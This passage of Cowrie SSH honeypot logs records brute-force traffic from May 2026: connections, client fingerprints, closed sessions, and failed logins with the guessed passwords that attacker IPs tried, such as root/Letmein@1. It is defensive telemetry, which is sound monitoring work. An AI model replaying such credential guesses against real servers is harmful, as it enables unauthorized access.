512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:37.443176Z","src_ip":"101.36.124.219","session":"88303f6c505e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zyl","message":"login attempt [root/zyl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:38.360656Z","src_ip":"101.36.124.219","session":"88303f6c505e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:39.584845Z","src_ip":"101.36.124.219","session":"88303f6c505e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:52:44.050060Z","src_ip":"8.218.166.49","session":"915eb39f607f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:00.978616Z","src_ip":"8.218.166.49","session":"9bb2bd0929ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"97.3","message":"Connection lost after 97.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:03.674026Z","src_ip":"8.218.166.49","session":"915eb39f607f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:14.553555Z","src_ip":"8.218.166.49","session":"c6968e551af5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:20.394618Z","src_ip":"8.218.166.49","session":"284a3a5ac7a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":50586,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf46cba2d406","protocol":"ssh","message":"New connection: 198.23.150.42:50586 (10.17.0.5:22) [session: cf46cba2d406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:23.546131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:23.550727Z","src_ip":"198.23.150.42","session":"cf46cba2d406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:23.569471Z","src_ip":"198.23.150.42","session":"cf46cba2d406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cantrell","message":"login attempt [root/cantrell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:23.679068Z","src_ip":"198.23.150.42","session":"cf46cba2d406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:24.702205Z","src_ip":"198.23.150.42","session":"cf46cba2d406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.182.125.142","src_port":38746,"dst_ip":"10.17.0.5","dst_port":22,"session":"168a6fd16f23","protocol":"ssh","message":"New connection: 183.182.125.142:38746 (10.17.0.5:22) [session: 168a6fd16f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:27.312836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:27.316894Z","src_ip":"183.182.125.142","session":"168a6fd16f23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:27.591461Z","src_ip":"183.182.125.142","session":"168a6fd16f23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:27.813028Z","src_ip":"183.182.125.142","session":"168a6fd16f23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":41956,"dst_ip":"10.17.0.5","dst_port":22,"session":"011fe1224cbd","protocol":"ssh","message":"New connection: 182.180.57.212:41956 (10.17.0.5:22) [session: 011fe1224cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:33.624891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:33.629404Z","src_ip":"182.180.57.212","session":"011fe1224cbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:33.865020Z","src_ip":"182.180.57.212","session":"011fe1224cbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Letmein@1","message":"login attempt [root/Letmein@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:34.840026Z","src_ip":"182.180.57.212","session":"011fe1224cbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:36.078513Z","src_ip":"182.180.57.212","session":"011fe1224cbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":55891,"dst_ip":"10.17.0.5","dst_port":22,"session":"4187abd65414","protocol":"ssh","message":"New connection: 49.207.40.162:55891 (10.17.0.5:22) [session: 4187abd65414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:43.356074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:43.361006Z","src_ip":"49.207.40.162","session":"4187abd65414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:43.578124Z","src_ip":"49.207.40.162","session":"4187abd65414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":33692,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5c267d8d4ff","protocol":"ssh","message":"New connection: 8.218.166.49:33692 (10.17.0.5:22) [session: f5c267d8d4ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:43.912436Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"shannon","message":"login attempt [root/shannon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:44.477997Z","src_ip":"49.207.40.162","session":"4187abd65414","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:44.495602Z","src_ip":"8.218.166.49","session":"f5c267d8d4ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:44.501066Z","src_ip":"8.218.166.49","session":"f5c267d8d4ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:45.697655Z","src_ip":"49.207.40.162","session":"4187abd65414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:53.029913Z","src_ip":"8.218.166.49","session":"f5c267d8d4ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:53:54.357736Z","src_ip":"8.218.166.49","session":"f5c267d8d4ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":49970,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb18ab066caa","protocol":"ssh","message":"New connection: 101.36.124.219:49970 (159.203.135.109:22) [session: cb18ab066caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:00.874880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:00.883576Z","src_ip":"101.36.124.219","session":"cb18ab066caa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:01.099529Z","src_ip":"101.36.124.219","session":"cb18ab066caa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server.123","message":"login attempt [root/server.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:01.998285Z","src_ip":"101.36.124.219","session":"cb18ab066caa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:03.217938Z","src_ip":"101.36.124.219","session":"cb18ab066caa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":47928,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f7ce730c5cd","protocol":"ssh","message":"New connection: 2.57.122.238:47928 (159.203.135.109:22) [session: 0f7ce730c5cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:04.857622Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:04.961183Z","src_ip":"2.57.122.238","session":"0f7ce730c5cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.227.186","src_port":30107,"dst_ip":"10.17.0.5","dst_port":22,"session":"c94e197664df","protocol":"ssh","message":"New connection: 104.28.227.186:30107 (10.17.0.5:22) [session: c94e197664df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:06.728844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:06.733884Z","src_ip":"104.28.227.186","session":"c94e197664df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:06.883680Z","src_ip":"104.28.227.186","session":"c94e197664df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pretoria","message":"login attempt [root/pretoria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:07.261121Z","src_ip":"104.28.227.186","session":"c94e197664df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:08.354415Z","src_ip":"104.28.227.186","session":"c94e197664df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":60616,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e1443b0f524","protocol":"ssh","message":"New connection: 14.63.196.175:60616 (10.17.0.5:22) [session: 8e1443b0f524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:16.139969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:16.144956Z","src_ip":"14.63.196.175","session":"8e1443b0f524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:16.348136Z","src_ip":"14.63.196.175","session":"8e1443b0f524","protocol":"ssh"}
